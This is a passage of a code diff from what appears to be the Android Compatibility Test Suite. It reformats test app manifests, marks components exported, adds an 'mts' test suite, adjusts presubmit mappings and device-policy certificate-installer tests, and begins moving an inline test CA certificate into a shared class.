+                <action android:name="com.android.cts.classloadersplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml b/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml
index fa975ad..3cde8aee 100644
--- a/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml
+++ b/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml
@@ -15,22 +15,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.classloadersplitapp"
-        featureSplit="feature_b"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.classloadersplitapp"
+     featureSplit="feature_b"
+     android:targetSandboxVersion="2">
 
-    <uses-split android:name="feature_a" />
+    <uses-split android:name="feature_a"/>
 
     <application>
-        <activity android:name=".feature_b.FeatureBActivity">
+        <activity android:name=".feature_b.FeatureBActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_b.FeatureBReceiver">
+        <receiver android:name=".feature_b.FeatureBReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+                <action android:name="com.android.cts.classloadersplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/compilation/app/AndroidManifest.xml b/hostsidetests/compilation/app/AndroidManifest.xml
index cca9341..a27edfc 100755
--- a/hostsidetests/compilation/app/AndroidManifest.xml
+++ b/hostsidetests/compilation/app/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.compilation.cts">
-    <uses-sdk android:minSdkVersion="23" />
+     package="android.compilation.cts">
+    <uses-sdk android:minSdkVersion="23"/>
     <application>
-        <activity android:name=".CompilationTargetActivity" >
+        <activity android:name=".CompilationTargetActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
index 0e473f2..3c7e2c7 100644
--- a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
+++ b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
@@ -18,7 +18,6 @@
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsNotLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assume.assumeTrue;
@@ -414,7 +413,6 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_reportsMetric()
             throws Exception {
-        assumeTrue(isStatsdEnabled(getDevice()));
         assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */ true);
@@ -455,7 +453,6 @@
     @Test
     public void testBindServiceAsUser_differentProfileGroup_doesNotReportMetric()
             throws Exception {
-        assumeTrue(isStatsdEnabled(getDevice()));
         int userInDifferentProfileGroup = createUser();
         getDevice().startUser(userInDifferentProfileGroup, /* waitFlag= */ true);
         mTestArgs.put("testUser", Integer.toString(userInDifferentProfileGroup));
@@ -492,8 +489,6 @@
     @Test
     public void testBindServiceAsUser_sameUser_doesNotReportMetric()
             throws Exception {
-        assumeTrue(isStatsdEnabled(getDevice()));
-
         mTestArgs.put("testUser", Integer.toString(mParentUserId));
 
         assertMetricsNotLogged(getDevice(), () -> {
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
index ed2d8dc..952829f 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
@@ -15,30 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.content.sync.cts">
+     package="android.content.sync.cts">
 
     <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
     <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <service
-            android:name=".StubAuthenticator">
+        <uses-library android:name="android.test.runner"/>
+        <service android:name=".StubAuthenticator"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
         </service>
 
-        <provider
-            android:name=".StubProvider"
-            android:authorities="android.content.sync.cts.authority">
+        <provider android:name=".StubProvider"
+             android:authorities="android.content.sync.cts.authority">
         </provider>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.content.sync.cts" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.content.sync.cts"/>
 </manifest>
diff --git a/hostsidetests/cpptools/TEST_MAPPING b/hostsidetests/cpptools/TEST_MAPPING
new file mode 100644
index 0000000..3707f3b
--- /dev/null
+++ b/hostsidetests/cpptools/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCppToolsTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml b/hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml
index 6d4681e..aae67b7 100755
--- a/hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml
+++ b/hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml
@@ -16,17 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cpptools.app">
+     package="android.cpptools.app">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <application android:debuggable="true">
-        <activity android:name=".CppToolsDeviceActivity" >
+        <activity android:name=".CppToolsDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml b/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml
index b37f769..be602e9 100644
--- a/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml
@@ -16,14 +16,15 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.domainsocketapp">
+     package="com.android.cts.domainsocketapp">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <application android:debuggable="true">
-        <activity android:name=".DomainSocketActivity" >
+        <activity android:name=".DomainSocketActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index 447b447..d932dd8 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -24,8 +24,6 @@
         "tools-common-prebuilt",
         "cts-tradefed",
         "tradefed",
-        "compatibility-host-util",
-	"compatibility-host-util-axt",
         "guava",
         "truth-prebuilt",
     ],
@@ -34,6 +32,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     java_resource_dirs: ["res"],
     data: [":current-api-xml"],
diff --git a/hostsidetests/devicepolicy/OWNERS b/hostsidetests/devicepolicy/OWNERS
index f51c943..b37176e 100644
--- a/hostsidetests/devicepolicy/OWNERS
+++ b/hostsidetests/devicepolicy/OWNERS
@@ -4,3 +4,4 @@
 rubinxu@google.com
 sandness@google.com
 pgrafov@google.com
+scottjonathan@google.com
diff --git a/hostsidetests/devicepolicy/TEST_MAPPING b/hostsidetests/devicepolicy/TEST_MAPPING
index 3d86cf3..d68a863 100644
--- a/hostsidetests/devicepolicy/TEST_MAPPING
+++ b/hostsidetests/devicepolicy/TEST_MAPPING
@@ -1,13 +1,26 @@
 {
-  "presubmit-devicepolicy": [
+  "presubmit": [
     {
       "name": "CtsDevicePolicyManagerTestCases",
       "options": [
         {
-          "exclude-annotation": "android.platform.test.annotations.FlakyTest"
+          "include-annotation": "com.android.cts.devicepolicy.annotations.PermissionsTest"
         },
         {
-          "exclude-annotation": "android.platform.test.annotations.LargeTest"
+          "exclude-annotation": "android.platform.test.annotations.FlakyTest"
+        }
+      ]
+    }
+  ],
+  "presubmit": [
+    {
+      "name": "CtsDevicePolicyManagerTestCases",
+      "options": [
+        {
+          "include-annotation": "com.android.cts.devicepolicy.annotations.LockSettingsTest"
+        },
+        {
+          "exclude-annotation": "android.platform.test.annotations.FlakyTest"
         }
       ]
     }
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
index 3970cfe..defd5f6 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
@@ -23,6 +23,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["TestOnlyOwner/res"],
@@ -43,6 +44,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["NonTestOnlyOwner/res"],
@@ -63,6 +65,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["TestOnlyOwnerUpdate/res"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
index 98bf41f..7117a4c 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
@@ -23,6 +23,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/AndroidManifest.xml
index 6b130b5..4f8f41a 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/AndroidManifest.xml
@@ -16,22 +16,22 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.accountcheck.nontestonly"
-    android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
+     package="com.android.cts.devicepolicy.accountcheck.nontestonly"
+     android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
 
     <application android:testOnly="false">
-        <receiver
-            android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
     <!--
-      Don't need instrumentation. All the three device side apps have the same UID, so we're able
-      to run all tests from the Auth package.
-    -->
+              Don't need instrumentation. All the three device side apps have the same UID, so we're able
+              to run all tests from the Auth package.
+            -->
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/AndroidManifest.xml
index a9673e9..ba829b4 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/AndroidManifest.xml
@@ -16,22 +16,22 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.accountcheck.testonly"
-    android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
+     package="com.android.cts.devicepolicy.accountcheck.testonly"
+     android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
 
     <application android:testOnly="true">
-        <receiver
-            android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
     <!--
-      Don't need instrumentation. All the three device side apps have the same UID, so we're able
-      to run all tests from the Auth package.
-    -->
+              Don't need instrumentation. All the three device side apps have the same UID, so we're able
+              to run all tests from the Auth package.
+            -->
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/AndroidManifest.xml
index cd186e9..e874e35 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/AndroidManifest.xml
@@ -14,26 +14,25 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  -->
-
 <!-- This package is exactly same as TestOnlyOwner, except for testOnly=false -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.accountcheck.testonly"
-    android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
+     package="com.android.cts.devicepolicy.accountcheck.testonly"
+     android:sharedUserId="com.android.cts.devicepolicy.accountcheck.uid">
 
     <application android:testOnly="false">
-        <receiver
-            android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.devicepolicy.accountcheck.owner.AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
     <!--
-      Don't need instrumentation. All the three device side apps have the same UID, so we're able
-      to run all tests from the Auth package.
-    -->
+              Don't need instrumentation. All the three device side apps have the same UID, so we're able
+              to run all tests from the Auth package.
+            -->
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
index fb5a3b8..3d524bb 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
@@ -23,6 +23,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
index 02017f6..8ab3eb8 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
@@ -24,6 +24,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
@@ -32,6 +33,9 @@
         "ub-uiautomator",
         "androidx.test.rules",
     ],
-    libs: ["android.test.base"],
-    sdk_version: "current",
+
+    libs: [
+        "android.test.base",
+        "android.test.runner",],
+    sdk_version: "test_current",
 }
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
index 69945a6..7ee9acb 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
+++ b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountUtilsTest.java
@@ -18,14 +18,9 @@
 
 import android.accounts.Account;
 import android.accounts.AccountManager;
-import android.accounts.AccountManagerFuture;
-import android.accounts.AuthenticatorException;
-import android.accounts.OperationCanceledException;
 import android.content.Context;
-import android.os.Bundle;
 import android.test.AndroidTestCase;
-
-import java.io.IOException;
+import android.util.Log;
 
 /**
  * Functionality tests for
@@ -37,8 +32,10 @@
  */
 public class AccountUtilsTest extends AndroidTestCase {
 
+    private static final String TAG = AccountUtilsTest.class.getSimpleName();
+
     // Account type for MockAccountAuthenticator
-    private final static Account ACCOUNT = new Account("user0",
+    private static final Account ACCOUNT = new Account("testUser",
             MockAccountAuthenticator.ACCOUNT_TYPE);
 
     private AccountManager mAccountManager;
@@ -46,6 +43,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        Log.d(TAG, "setUp(): running on user " + mContext.getUserId());
         mAccountManager = (AccountManager) mContext.getSystemService(Context.ACCOUNT_SERVICE);
     }
 
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
index a98f261..c1eb76d 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
@@ -27,5 +27,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.bp b/hostsidetests/devicepolicy/app/Assistant/Android.bp
index c6b32aa..7ef13dc 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.bp
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.bp
@@ -26,6 +26,7 @@
         "general-tests",
         "cts",
         "general-tests",
+        "mts",
     ],
     static_libs: [
         "androidx.legacy_legacy-support-v4",
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
index 9dd7e2f..f78e06a 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
@@ -25,6 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
index 711f984..da14401 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
@@ -16,23 +16,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.autofillapp" >
+     package="com.android.cts.devicepolicy.autofillapp">
 
     <application>
-        <activity android:name=".SimpleActivity" android:exported="true">
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name=".SimpleAutofillService"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".SimpleAutofillService"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
index cab9ca4..83e8380 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
@@ -32,11 +32,13 @@
         "truth-prebuilt",
         "testng",
         "cts-security-test-support-library",
+        "devicepolicy-deviceside-common",
     ],
     // tag this module as a cts test artifact
     test_suites: [
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CertInstaller/AndroidManifest.xml
index df47d0b..89c72ed 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CertInstaller/AndroidManifest.xml
@@ -15,44 +15,42 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.certinstaller">
+     package="com.android.cts.certinstaller">
 
     <uses-sdk android:minSdkVersion="22"/>
 
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <receiver android:name=".CertInstallerReceiver">
+        <receiver android:name=".CertInstallerReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.certinstaller.install_cert" />
-                <action android:name="com.android.cts.certinstaller.remove_cert" />
-                <action android:name="com.android.cts.certinstaller.verify_cert" />
-                <action android:name="com.android.cts.certinstaller.install_keypair" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.certinstaller.install_cert"/>
+                <action android:name="com.android.cts.certinstaller.remove_cert"/>
+                <action android:name="com.android.cts.certinstaller.verify_cert"/>
+                <action android:name="com.android.cts.certinstaller.install_keypair"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
-        <receiver
-            android:name=".CertSelectionDelegateTest$CertSelectionReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".CertSelectionDelegateTest$CertSelectionReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.CHOOSE_PRIVATE_KEY_ALIAS"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="Delegated Cert Installer CTS test"
-        android:targetPackage="com.android.cts.certinstaller">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Delegated Cert Installer CTS test"
+         android:targetPackage="com.android.cts.certinstaller">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
index 599bd8e..476c109 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
@@ -24,12 +24,12 @@
 import android.util.Log;
 
 import java.io.ByteArrayInputStream;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.spec.PKCS8EncodedKeySpec;
 import java.security.KeyFactory;
 import java.security.PrivateKey;
 import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.List;
 
 /**
@@ -55,6 +55,9 @@
     // exercises {@link DevicePolicyManager#installKeyPair},
     private static final String ACTION_INSTALL_KEYPAIR =
             "com.android.cts.certinstaller.install_keypair";
+    // exercises {@link DevicePolicyManager#getEnrollmentSpecificId}
+    private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+            "com.android.cts.certinstaller.read_esid";
 
     private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
 
@@ -141,10 +144,17 @@
                 Log.e(TAG, "Exception raised duing ACTION_INSTALL_KEYPAIR", e);
                 sendResult(context, false, e);
             }
+        } else if (ACTION_READ_ENROLLMENT_SPECIFIC_ID.equals(action)) {
+            try {
+                final String esid = dpm.getEnrollmentSpecificId();
+                sendResult(context, !esid.isEmpty(), null);
+            } catch (SecurityException e) {
+                Log.e(TAG, "Exception raised during ACTION_READ_ENROLLMENT_SPECIFIC_ID", e);
+                sendResult(context, false, e);
+            }
         }
     }
 
-
     private void sendResult(Context context, boolean succeed, Exception e) {
         Intent intent = new Intent();
         intent.setAction(ACTION_CERT_OPERATION_DONE);
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
index 4e64ea9..fa7a21e 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
@@ -16,16 +16,24 @@
 
 package com.android.cts.certinstaller;
 
-import static com.google.common.truth.Truth.assertWithMessage;
+import static com.android.cts.devicepolicy.TestCertificates.TEST_CA;
+import static com.android.cts.devicepolicy.TestCertificates.TEST_CERT;
+import static com.android.cts.devicepolicy.TestCertificates.TEST_KEY;
+
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.assertThrows;
+
+import static java.util.Collections.singleton;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Build;
+import android.os.Process;
 import android.security.AttestedKeyPair;
 import android.security.KeyChain;
-import android.security.KeyChainException;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.telephony.TelephonyManager;
@@ -44,6 +52,7 @@
 import java.security.cert.CertificateFactory;
 import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.List;
+import java.util.Map;
 
 /*
  * Tests the delegated certificate installer functionality.
@@ -56,77 +65,33 @@
  * When this class is done then the DelegatedCertInstallerTest can be deleted.
  */
 public class DirectDelegatedCertInstallerTest extends InstrumentationTestCase {
-    // Content from cacert.pem
-    private static final String TEST_CA =
-            "-----BEGIN CERTIFICATE-----\n" +
-                    "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
-                    "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
-                    "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
-                    "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
-                    "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
-                    "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
